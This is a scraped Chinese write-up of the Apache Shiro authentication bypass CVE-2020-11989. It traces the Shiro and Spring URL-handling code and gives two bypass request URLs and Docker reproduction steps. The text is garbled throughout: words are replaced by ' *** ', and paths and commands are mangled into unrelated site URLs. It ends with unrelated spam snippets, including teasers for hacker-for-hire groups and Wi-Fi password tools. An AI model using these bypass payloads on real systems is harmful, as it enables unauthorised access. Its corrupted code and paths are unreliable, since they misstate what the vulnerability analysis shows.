Apache Shiro权限绕过漏洞 (CVE

访客4年前黑客工具362

1.1 状态

完成漏洞挖掘条件分析、漏洞复现。

1.2 简介

Apache Shiro作为Java框架,可被用于身份认证、授权等任务。

整合Apache Shiro至Spring Boot中时,请求可能会导致越权绕过身份验证现象的出现,存在两种较好的利用现象,称为利用 *** 1和利用 *** 2。

存在安全缺陷的版本:Apache Shiro 1.5.3以前的版本。JDK:1.8.0_181。

1.3 漏洞挖掘能力条件

  • 应清晰Spring Boot、Apache Shiro框架源码的逻辑功能。

  • 清晰常见的反过滤、非常规字符的特点。

1.4 利用 *** 1

1.4.1 环境

设置Tomcat根目录为“/test/”【仅Apache Shiro 1.5.2有此严格限制】,端口为8088;设置“https://www.freebuf.com/articles/network/admin/*”路径需要认证访问,成功则显示“hello, admin page”,具体配置见源代码 (https://github.com/HYWZ36/HYWZ36-CVE-2020-11989-code/tree/main/springboot-shiro-master0)。

1.4.2 目标

绕过认证访问“https://www.freebuf.com/articles/network/admin/*”路径。

1.4.3 分析 ***

对于输入的恶意URL“http://localhost:8088/;/test/admin/page”,首先采用Shiro进行权限验证处理。Shiro框架的decodeAndCleanUriString *** 会根据“;”截取URI“/;/test//admin/page”的前部分内容,从而使得此请求通过权限验证。依次经过的重要类、 *** 如下:

类+ ***

关键内容

org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#getChain

-

org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#getPathWithinApplication

String contextPath=getContextPath(request); ? 【=”/;/test”】
String requestUri=getRequestUri(request);

#输出内容作为Shiro的权限验证输入值

if ? (StringUtils.startsWithIgnoreCase(requestUri, contextPath)) {

// Normal case: URI contains ? context path.

String path=? requestUri.substring(contextPath.length());

return (StringUtils.hasText(path) ? ? path : "/");

} else {

// Special case: rather unusual.

return requestUri;

}

org.apache.shiro.web.util.WebUtils#getRequestUri

uri=? valueOrEmpty(request.getContextPath()) + "/" +? ? valueOrEmpty(request.getServletPath()) +? ? valueOrEmpty(request.getPathInfo());【=”/;/test//admin/page”】

return ? normalize(decodeAndCleanUriString(request, uri));

org.apache.shiro.web.util.WebUtils#decodeAndCleanUriString

int semicolonIndex=uri.indexOf(';');

1605173147_5facff9b86afefe5fb684.png!small?1605173147735

随后,在Spring框架中解析URL。关键点是在解码过程中,仅剔除URI中“;”而保全其他所有内容,从而解析得目标路径“/admin/page”。依次经过的重要类、 *** 如下:

类+ ***

关键内容

org.springframework.web.util.UrlPathHelper#getPathWithinServletMapping

String pathWithinApp=? getPathWithinApplication(request);

String servletPath=? getServletPath(request);

return servletPath;

org.springframework.web.util.UrlPathHelper#getPathWithinApplication

String contextPath=? getContextPath(request); 【=”/;/test”】

String requestUri=? getRequestUri(request);

return requestUri;

org.springframework.web.util.UrlPathHelper#getRequestUri

String uri=(String) ? request.getAttribute(WebUtils.INCLUDE_REQUEST_URI_ATTRIBUTE); 【=”/;/test/admin/page”】

return decodeAndCleanUriString(request, ? uri);

org.springframework.web.util.UrlPathHelper#decodeAndCleanUriString

uri=removeSemicolonContent(uri); 【="http://test/admin/ page"】

uri=decodeRequestString(request, uri); 【=" / /test/ admin / page”】

uri=getSanitizedPath(uri); 【=" / /test/ admin/ page”】

return uri;

org.springframework.web.util.UrlPathHelper#getServletPath

String servletPath=(String) ? request.getAttribute(WebUtils.INCLUDE_SERVLET_PATH_ATTRIBUTE); 【=”/admin/page”】

return servletPath; 【=”/admin/page”】

1.5 利用 *** 2

1.5.1 环境

设置Tomcat根目录为“/test/”【仅Apache Shiro 1.5.2有此严格限制】,端口为8081;设置“https://www.freebuf.com/articles/network/admin/*”路径需要认证访问,成功则显示“hello,admin”,具体配置见源代码 (https://github.com/HYWZ36/HYWZ36-CVE-2020-11989-code/tree/main/springboot-shiro-master)。

1.5.2 目标

绕过认证访问“https://www.freebuf.com/articles/network/admin/{name}”路径。

1.5.3 分析 ***

对于输入的恶意URL“http://localhost:8081/test/admin/a%25%32%66a”,首先采用Shiro进行权限验证处理。Shiro框架的decodeRequestString *** 会进行两次解码得到URI“/admin/a/a”,并因其分割后的数组长度大于模板“/admin/*”而使得此请求通过权限验证。依次经过的重要类、 *** 如下:

类+ ***

关键内容

org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#getChain

String requestURI=? getPathWithinApplication(request);

if (pathMatches(pathPattern, requestURI)) ? {……

return null;

org.apache.shiro.web.util.WebUtils#getPathWithinApplication

String contextPath=? getContextPath(request); 【=”/test”】

String requestUri=? getRequestUri(request);

org.apache.shiro.web.util.WebUtils#getRequestUri

uri=? valueOrEmpty(request.getContextPath()) + "/" ? +valueOrEmpty(request.getServletPath()) +valueOrEmpty(request.getPathInfo()); ? 【=" /test/ / admin/a%2fa "】

return ? normalize(decodeAndCleanUriString(request, uri));

org.apache.shiro.web.util.WebUtils#decodeAndCleanUriString

uri=decodeRequestString(request, uri);

return (semicolonIndex !=-1 ? ? uri.substring(0, semicolonIndex) : uri);

org.apache.shiro.web.util.WebUtils#decodeRequestString

return URLDecoder.decode(source, enc);

java.net.URLDecoder#decode(java.lang.String, ? java.lang.String)

#可解码“%2f”为“/”

while (i < numChars) {

c=s.charAt(i);

switch (c) {

case '+':

*** .append(' ');

i++;

needToChange=true;

break;

case '%':…………

return (needToChange? *** .toString() : s); ? 【=”/test//admin/a/a”】

org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#pathMatches

return pathMatcher.matches(pattern, ? path); 【pattern : " / admin/*",source: " / admin/ a / a "】

org.apache.shiro.util.PatternMatcher#matches

return match(pattern, source);

org.apache.shiro.util.AntPathMatcher#doMatch

#判断得模板长度短于URI长度,说明URI和当前模板不属于同一类。

if (pathIdxStart > pathIdxEnd) {

// Path is exhausted, only match ? if rest of pattern is * or **'s

……

} else if (pattIdxStart > pattIdxEnd) ? {

// String not exhausted, but ? pattern is. Failure.

return false;


随后,在Spring框架中解析URL。关键点是在解码过程中,仅解码得路径是“/test/admin/a%252f”,因此符合“/admin/{name}”规则得以正常访问。依次经过的重要类、 *** 如下:

类+ ***

关键内容

javax.servlet.Servlet#service

-

javax.servlet.http.HttpServlet#doGet

-

1.6 补丁分析

如下图,修改了org.apache.shiro.web.util.WebUtils#getPathWithinApplication,采用两个标准 *** 获取URI有效应对了“/;/…”安全缺陷,且无解码操作从而有效应对了“a%25%32%66a”安全缺陷。

1605173228_5facffec7f0805df89b68.png!small?1605173228752

1.7 docker复现

加载容器tar为镜像的例子:

cat https://www.freebuf.com/articles/network/ubuntu-xxx.tar | docker import - ubuntu-new

设置局域网及容器ip、启动容器的例子:

(1)自定义 ***

docker network create --subnet=192.168.10.1/24 testnet

(2)启动docker容器

docker run -p 8088:8088 -p 8081:8081 -it --name testt3 --hostname testt3 --network testnet --ip 10.10.10.100 ubuntuxxx:xxx /bin/bash

镜像名称为ubuntu_cve-2020-11989:v1,需开启8088和8081的端口映射功能。

启动进入容器后,复现利用 *** 1。切换到目录【/springboot-shiro-master0/target】下,执行命令【java -jar srpingboot-shiro-0.0.1-SNAPSHOT.jar】。随后在宿主机浏览器输入【http://localhost:8088/;/test/admin/page】,成功访问表明复现成功,如下图。

1605173275_5fad001b417761e3c6a1b.png!small?1605173275543

复现利用 *** 2。中断当前程序,切换到目录【/springboot-shiro-master1/target】下,执行命令【java -jar srpingboot-shiro-0.0.1-SNAPSHOT.jar】。随后在宿主机浏览器输入【http://localhost:8081/test/admin/a%25%32%66a】,成功访问表明复现成功,如下图。

1605173283_5fad00235d0519c5a8ac8.png!small?1605173283576

1.8 参考资料

  • https://www.freebuf.com/vuls/249380.html

  • https://xlab.tencent.com/cn/2020/06/30/xlab-20-002/

  • idea 快速创建spring boot项目 以及打包 - 知乎

    https://zhuanlan.zhihu.com/p/149736921

相关文章

冬瓜汤怎么做减肥(吃10天水煮冬瓜可以放盐吗)

冬瓜汤怎么做减肥(吃10天水煮冬瓜可以放盐吗)

质料:排骨 冬瓜 枸杞 瑶柱适量 做法:1、锅烧开水排骨飞水,捞出洗净沥干,备用; 2、冬瓜洗净,去皮,去瓤切块,瑶柱泡软,撕一丝一丝,备用; 3、汤煲加水,煮沸后加排骨,转小火,熬煮约一个半小时;...

学生黑客联盟

不要轻易相信、叫这个的多得去了、他们的一贯手法就是先收低费用、然后收定金、然后保证金、然后开通端口之类的、然后发你一个压缩文件需要继续交钱后就。 以前听说是服务器转到国外国内打开非常慢后来似乎域名就访...

51信用卡创始人孙海涛致歉全文曝光 51信用卡事件始末最新消息

51信用卡创始人孙海涛致歉全文曝光 51信用卡事件始末最新消息

针对警方调查51信用卡一事,51信用卡创始人孙海涛发布致歉信,称这个风波是因为公司管理上的不完善,尤其是对合作公司的培训和监督不够,导致在对借款人联络沟通过程中出现了一些过激的行为,给个别借款人造成了...

什么叫金砖国家(金砖国家峰会的意义)

什么叫金砖国家(金砖国家峰会的意义)

2001年,美国高盛公司首席经济师吉姆·奥尼尔(Jim O'Neill)首次提出“金砖四国”的概念,囊括了全球最大的四个新兴市场国家。“金砖四国”(BRIC)引用了俄罗斯(Russia)、中国(Chi...

不root查看wifi密码软件(纯干货安卓手机免root)

不root查看wifi密码软件(纯干货安卓手机免root)

Hello,大家好。我们现在生活在4G高速网络的环境中,并且已经迎来5G(虽然还只是刚刚开始)。但是在我们生活中的很多场景我们还是会因为比如:数据网络信号变差,网速很慢;套餐内的流量有限;需要下载的文...

qq黑客接单群,如何找电脑黑客,西安哪里找黑客

绕过CDN研究者在黎巴嫩发现了很多的受害者,但他们在以色列、土耳其、英国、日本、美国和其它国家也都找到了被侵略的组织。 SERVICE/VERSION DETECTION:当发作体系调用时,进入内核态...